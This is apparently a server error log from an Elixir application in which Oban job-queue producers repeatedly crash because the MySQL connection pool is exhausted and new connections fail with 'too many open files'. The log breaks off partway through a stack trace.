State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:41:20.240779Z], limit: 20, uuid: "c9a4a3cf-13c7-4169-9b30-2ad382ccfa0e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.240784Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.85645>, refresh_timer: #Reference<0.2525715032.1121189889.85644>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:41:20.239807Z], limit: 3, uuid: "32481e27-1ea2-4af4-a95f-42cdf3ddc572", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:20.239812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.85647>, refresh_timer: #Reference<0.2525715032.1077411843.208051>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:32.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:40.264000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:41.237000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:41:32.246531Z], limit: 20, uuid: "53e8c858-c1da-4050-8db1-eb909792d371", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.246537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208374>, refresh_timer: #Reference<0.2525715032.1099169794.241204>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:41:32.241657Z], limit: 5, uuid: "83cac92d-9e22-4be8-b100-529983cd0cd0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.241663Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208372>, refresh_timer: #Reference<0.2525715032.1121189889.85974>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:41:32.241866Z], limit: 50, uuid: "c9d26a28-9b25-4b28-93dc-ee00ae4f646d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.241871Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208373>, refresh_timer: #Reference<0.2525715032.1121189889.85985>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:41:32.242106Z], limit: 10, uuid: "0acdfe97-e84a-481b-9db1-9ab88c6dd6bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.242111Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208370>, refresh_timer: #Reference<0.2525715032.1121189889.85999>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:41:32.251732Z], limit: 3, uuid: "f0bb94b7-dfc7-4d22-b2ae-6b3981c47bf7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.251738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208375>, refresh_timer: #Reference<0.2525715032.1099169794.241220>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:41:32.239025Z], limit: 5, uuid: "045d553e-0e93-43d8-b8a1-31bbb0376fef", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:32.239035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208371>, refresh_timer: #Reference<0.2525715032.1121189889.85963>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:44.338000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:44.449000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:44.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:45.970000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:50.790000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:53.407000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:53.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:41:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:41:44.241092Z], limit: 5, uuid: "74b2adcd-6320-4ed5-b4d4-51e4870087ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:41:44.241098Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.208751>, refresh_timer: #Reference<0.2525715032.1077411843.208742>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:41:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
